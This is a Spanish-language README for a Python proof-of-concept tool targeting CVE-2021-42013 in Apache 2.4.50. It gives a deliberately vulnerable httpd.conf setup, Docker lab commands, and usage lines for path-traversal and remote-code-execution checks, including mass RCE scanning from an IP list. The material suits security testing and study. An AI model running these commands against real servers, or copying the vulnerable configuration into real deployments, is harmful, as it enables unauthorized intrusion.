Apache 2.4.50 - Path Traversal o Ejecución Remota de Código

CVE-2021-42013.py es un script de Python que ayuda a detectar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para que puedas experimentar con CVE-2021-42013.

Si CGI-BIN está habilitado, podemos realizar Ejecución Remota de Código pero no Path Traversal, por lo que se ha añadido el directorio "icons" en la sección Alias de httpd.conf para comprobar la vulnerabilidad de Path Traversal.

Configuraciones vulnerables en httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Lab para CVE-2021-42013

Construir Docker

$ docker build -t cve-2021-42013 .

Ejecutar Docker

$ docker run -it cve-2021-42013

Uso de cve-2021-42013.py

Comprobar Path Traversal y Ejecución Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2

PoC de Path Traversal

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

PoC de Ejecución Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

Para escaneo masivo, proporciona un archivo de texto que contenga las IPs:

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce

Puedes encontrar más información aquí.

Referencias

• https://nvd.nist.gov/vuln/detail/CVE-2021-42013
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
• https://www.cve.org/CVERecord?id=CVE-2021-42013
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/